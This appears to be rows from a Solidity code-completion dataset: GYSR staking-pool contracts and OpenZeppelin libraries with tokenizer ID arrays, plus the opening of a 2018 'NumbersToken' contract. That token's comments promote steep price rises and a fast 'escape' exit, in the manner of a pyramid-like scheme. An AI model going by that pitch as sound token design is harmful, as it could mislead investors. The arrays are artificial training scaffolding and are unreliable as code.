) internal pure returns (uint256) {
if (amount == 0) {
return 0;
}
if (total == 0) {
return 0;
}
if (gysr == 0) {
return 10**DECIMALS;
}
// scale GYSR amount with respect to proportion
uint256 portion = (GYSR_PROPORTION * total) / 10**DECIMALS;
if (amount > portion) {
gysr = (gysr * portion) / amount;
}
// 1 + gysr / (0.01 + ratio)
uint256 x = 2**64 + (2**64 * gysr) / (10**(DECIMALS - 2) + ratio);
return
10**DECIMALS +
(uint256(int256(int128(uint128(x)).logbase10())) * 10**DECIMALS) /
2**64;
}
}
/*
OwnerController
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
/**
* @title Owner controller
*
* @notice this base contract implements an owner-controller access model.
*
* @dev the contract is an adapted version of the OpenZeppelin Ownable contract.
* It allows the owner to designate an additional account as the controller to
* perform restricted operations.
*
* Other changes include supporting role verification with a require method
* in addition to the modifier option, and removing some unneeded functionality.
*
* Original contract here:
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
*/
contract OwnerController {
address private _owner;
address private _controller;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event ControlTransferred(
address indexed previousController,
address indexed newController
);
constructor() {
_owner = msg.sender;
_controller = msg.sender;
emit OwnershipTransferred(address(0), _owner);
emit ControlTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Returns the address of the current controller.
*/
function controller() public view returns (address) {
return _controller;
}
/**
* @dev Modifier that throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "oc1");
_;
}
/**
* @dev Modifier that throws if called by any account other than the controller.
*/
modifier onlyController() {
require(_controller == msg.sender, "oc2");
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
function requireOwner() internal view {
require(_owner == msg.sender, "oc1");
}
/**
* @dev Throws if called by any account other than the controller.
*/
function requireController() internal view {
require(_controller == msg.sender, "oc2");
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`). This can
* include renouncing ownership by transferring to the zero address.
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual {
requireOwner();
require(newOwner != address(0), "oc3");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Transfers control of the contract to a new account (`newController`).
* Can only be called by the owner.
*/
function transferControl(address newController) public virtual {
requireOwner();
require(newController != address(0), "oc4");
emit ControlTransferred(_controller, newController);
_controller = newController;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
MathUtils
https://github.com/gysr-io/core
SPDX-License-Identifier: BSD-4-Clause
*/
pragma solidity 0.8.4;
/**
* @title Math utilities
*
* @notice this library implements various logarithmic math utilies which support
* other contracts and specifically the GYSR multiplier calculation
*
* @dev h/t https://github.com/abdk-consulting/abdk-libraries-solidity
*/
library MathUtils {
/**
* @notice calculate binary logarithm of x
*
* @param x signed 64.64-bit fixed point number, require x > 0
* @return signed 64.64-bit fixed point number
*/
function logbase2(int128 x) internal pure returns (int128) {
unchecked {
require(x > 0);
int256 msb = 0;
int256 xc = x;
if (xc >= 0x10000000000000000) {
xc >>= 64;
msb += 64;
}
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
int256 result = (msb - 64) << 64;
uint256 ux = uint256(int256(x)) << uint256(127 - msb);
for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {
ux *= ux;
uint256 b = ux >> 255;
ux >>= 127 + b;
result += bit * int256(b);
}
return int128(result);
}
}
/**
* @notice calculate natural logarithm of x
* @dev magic constant comes from ln(2) * 2^128 -> hex
* @param x signed 64.64-bit fixed point number, require x > 0
* @return signed 64.64-bit fixed point number
*/
function ln(int128 x) internal pure returns (int128) {
unchecked {
require(x > 0);
return
int128(
int256(
(uint256(int256(logbase2(x))) *
0xB17217F7D1CF79ABC9E3B39803F2F6AF) >> 128
)
);
}
}
/**
* @notice calculate logarithm base 10 of x
* @dev magic constant comes from log10(2) * 2^128 -> hex
* @param x signed 64.64-bit fixed point number, require x > 0
* @return signed 64.64-bit fixed point number
*/
function logbase10(int128 x) internal pure returns (int128) {
require(x > 0);
return
int128(
int256(
(uint256(int256(logbase2(x))) *
0x4d104d427de7fce20a6e420e02236748) >> 128
)
);
}
// wrapper functions to allow testing
function testlogbase2(int128 x) public pure returns (int128) {
return logbase2(x);
}
function testlogbase10(int128 x) public pure returns (int128) {
return logbase10(x);
}
}
/*
IPoolFactory
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
/**
* @title Pool factory interface
*
* @notice this defines the Pool factory interface, primarily intended for
* the Pool contract to interact with
*/
interface IPoolFactory {
/**
* @return GYSR treasury address
*/
function treasury() external view returns (address);
/**
* @return GYSR spending fee
*/
function fee() external view returns (uint256);
}
/*
IModuleFactory
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
/**
* @title Module factory interface
*
* @notice this defines the common module factory interface used by the
* main factory to create the staking and reward modules for a new Pool.
*/
interface IModuleFactory {
// events
event ModuleCreated(address indexed user, address module);
/**
* @notice create a new Pool module
* @param data binary encoded construction parameters
* @return address of newly created module
*/
function createModule(bytes calldata data) external returns (address);
}
/*
IStakingModule
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IEvents.sol";
import "../OwnerController.sol";
/**
* @title Staking module interface
*
* @notice this contract defines the common interface that any staking module
* must implement to be compatible with the modular Pool architecture.
*/
abstract contract IStakingModule is OwnerController, IEvents {
// constants
uint256 public constant DECIMALS = 18;
/**
* @return array of staking tokens
*/
function tokens() external view virtual returns (address[] memory);
/**
* @notice get balance of user
* @param user address of user
* @return balances of each staking token
*/
function balances(address user)
external
view
virtual
returns (uint256[] memory);
/**
* @return address of module factory
*/
function factory() external view virtual returns (address);
/**
* @notice get total staked amount
* @return totals for each staking token
*/
function totals() external view virtual returns (uint256[] memory);
/**
* @notice stake an amount of tokens for user
* @param user address of user
* @param amount number of tokens to stake
* @param data additional data
* @return address of staking account
* @return number of shares minted for stake
*/
function stake(
address user,
uint256 amount,
bytes calldata data
) external virtual returns (address, uint256);
/**
* @notice unstake an amount of tokens for user
* @param user address of user
* @param amount number of tokens to unstake
* @param data additional data
* @return address of staking account
* @return number of shares burned for unstake
*/
function unstake(
address user,
uint256 amount,
bytes calldata data
) external virtual returns (address, uint256);
/**
* @notice quote the share value for an amount of tokens without unstaking
* @param user address of user
* @param amount number of tokens to claim with
* @param data additional data
* @return address of staking account
* @return number of shares that the claim amount is worth
*/
function claim(
address user,
uint256 amount,
bytes calldata data
) external virtual returns (address, uint256);
/**
* @notice method called by anyone to update accounting
* @param user address of user for update
* @dev will only be called ad hoc and should not contain essential logic
*/
function update(address user) external virtual;
/**
* @notice method called by owner to clean up and perform additional accounting
* @dev will only be called ad hoc and should not contain any essential logic
*/
function clean() external virtual;
}
/*
Pool
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IPool.sol";
import "./interfaces/IPoolFactory.sol";
import "./interfaces/IStakingModule.sol";
import "./interfaces/IRewardModule.sol";
import "./interfaces/IEvents.sol";
import "./OwnerController.sol";
/**
* @title Pool
*
* @notice this implements the GYSR core Pool contract. It supports generalized
* incentive mechanisms through a modular architecture, where
* staking and reward logic is contained in child contracts.
*/
contract Pool is IPool, IEvents, ReentrancyGuard, OwnerController {
using SafeERC20 for IERC20;
// constants
uint256 public constant DECIMALS = 18;
// modules
IStakingModule private immutable _staking;
IRewardModule private immutable _reward;
// gysr fields
IERC20 private immutable _gysr;
IPoolFactory private immutable _factory;
uint256 private _gysrVested;
/**
* @param staking_ the staking module address
* @param reward_ the reward module address
* @param gysr_ address for GYSR token
* @param factory_ address for parent factory
*/
constructor(
address staking_,
address reward_,
address gysr_,
address factory_
) {
_staking = IStakingModule(staking_);
_reward = IRewardModule(reward_);
_gysr = IERC20(gysr_);
_factory = IPoolFactory(factory_);
}
// -- IPool --------------------------------------------------------------
/**
* @inheritdoc IPool
*/
function stakingTokens() external view override returns (address[] memory) {
return _staking.tokens();
}
/**
* @inheritdoc IPool
*/
function rewardTokens() external view override returns (address[] memory) {
return _reward.tokens();
}
/**
* @inheritdoc IPool
*/
function stakingBalances(address user)
external
view
override
returns (uint256[] memory)
{
return _staking.balances(user);
}
/**
* @inheritdoc IPool
*/
function stakingTotals() external view override returns (uint256[] memory) {
return _staking.totals();
}
/**
* @inheritdoc IPool
*/
function rewardBalances()
external
view
override
returns (uint256[] memory)
{
return _reward.balances();
}
/**
* @inheritdoc IPool
*/
function usage() external view override returns (uint256) {
return _reward.usage();
}
/**
* @inheritdoc IPool
*/
function stakingModule() external view override returns (address) {
return address(_staking);
}
/**
* @inheritdoc IPool
*/
function rewardModule() external view override returns (address) {
return address(_reward);
}
/**
* @inheritdoc IPool
*/
function stake(
uint256 amount,
bytes calldata stakingdata,
bytes calldata rewarddata
) external override nonReentrant {
(address account, uint256 shares) =
_staking.stake(msg.sender, amount, stakingdata);
(uint256 spent, uint256 vested) =
_reward.stake(account, msg.sender, shares, rewarddata);
_processGysr(spent, vested);
}
/**
* @inheritdoc IPool
*/
function unstake(
uint256 amount,
bytes calldata stakingdata,
bytes calldata rewarddata
) external override nonReentrant {
(address account, uint256 shares) =
_staking.unstake(msg.sender, amount, stakingdata);
(uint256 spent, uint256 vested) =
_reward.unstake(account, msg.sender, shares, rewarddata);
_processGysr(spent, vested);
}
/**
* @inheritdoc IPool
*/
function claim(
uint256 amount,
bytes calldata stakingdata,
bytes calldata rewarddata
) external override nonReentrant {
(address account, uint256 shares) =
_staking.claim(msg.sender, amount, stakingdata);
(uint256 spent, uint256 vested) =
_reward.claim(account, msg.sender, shares, rewarddata);
_processGysr(spent, vested);
}
/**
* @inheritdoc IPool
*/
function update() external override nonReentrant {
_staking.update(msg.sender);
_reward.update(msg.sender);
}
/**
* @inheritdoc IPool
*/
function clean() external override nonReentrant {
requireController();
_staking.clean();
_reward.clean();
}
/**
* @inheritdoc IPool
*/
function gysrBalance() external view override returns (uint256) {
return _gysrVested;
}
/**
* @inheritdoc IPool
*/
function withdraw(uint256 amount) external override {
requireController();
require(amount > 0, "p1");
require(amount <= _gysrVested, "p2");
// do transfer
_gysr.safeTransfer(msg.sender, amount);
_gysrVested = _gysrVested - amount;
emit GysrWithdrawn(amount);
}
/**
* @notice transfer control of the Pool and modules to another account
* @param newController address of new controller
*/
function transferControl(address newController) public override {
super.transferControl(newController);
_staking.transferControl(newController);
_reward.transferControl(newController);
}
// -- Pool internal -----------------------------------------------------
/**
* @dev private method to process GYSR spending and vesting
* @param spent number of tokens to unstake
* @param vested data passed to staking module
*/
function _processGysr(uint256 spent, uint256 vested) private {
// spending
if (spent > 0) {
_gysr.safeTransferFrom(msg.sender, address(this), spent);
}
// vesting
if (vested > 0) {
uint256 fee = (vested * _factory.fee()) / 10**DECIMALS;
if (fee > 0) {
_gysr.safeTransfer(_factory.treasury(), fee);
}
_gysrVested = _gysrVested + vested - fee;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
} | * @notice transfer control of the Pool and modules to another account @param newController address of new controller/ | function transferControl(address newController) public override {
super.transferControl(newController);
_staking.transferControl(newController);
_reward.transferControl(newController);
}
| 558,639 | [
1,
13866,
3325,
434,
326,
8828,
471,
4381,
358,
4042,
2236,
225,
394,
2933,
1758,
434,
394,
2596,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7412,
3367,
12,
2867,
394,
2933,
13,
1071,
3849,
288,
203,
3639,
2240,
18,
13866,
3367,
12,
2704,
2933,
1769,
203,
3639,
389,
334,
6159,
18,
13866,
3367,
12,
2704,
2933,
1769,
203,
3639,
389,
266,
2913,
18,
13866,
3367,
12,
2704,
2933,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x191384B7ebd24d5CA779b2C6C393b2d272cEb4c9/sources/MessierAnonymity.sol | File: contracts/MessierAnonymity.sol | pragma solidity <0.6 >=0.4.24;
| 4,143,352 | [
1,
812,
30,
20092,
19,
49,
403,
2453,
979,
6435,
560,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
683,
9454,
18035,
560,
411,
20,
18,
26,
1545,
20,
18,
24,
18,
3247,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0x310b15ad0a8b282ee8011d91c79feba80cb179c8
//Contract name: NumbersToken
//Balance: 0.024014490788323995 Ether
//Verification Date: 1/29/2018
//Transacion Count: 1094
// CODE STARTS HERE
pragma solidity ^0.4.18;
// If you wanna escape this contract REALLY FAST
// 1. open MEW/METAMASK
// 2. Put this as data: 0xb1e35242
// 3. send 150000+ gas
// That calls the getMeOutOfHere() method
// Wacky version, 0-1 tokens takes 10eth (should be avg 200% gains), 1-2 takes another 30eth (avg 100% gains), and beyond that who the fuck knows but it's 50% gains
// 10% fees, price goes up crazy fast
contract NumbersToken {
uint256 constant PRECISION = 0x10000000000000000; // 2^64
// CRR = 80 %
int constant CRRN = 1;
int constant CRRD = 2;
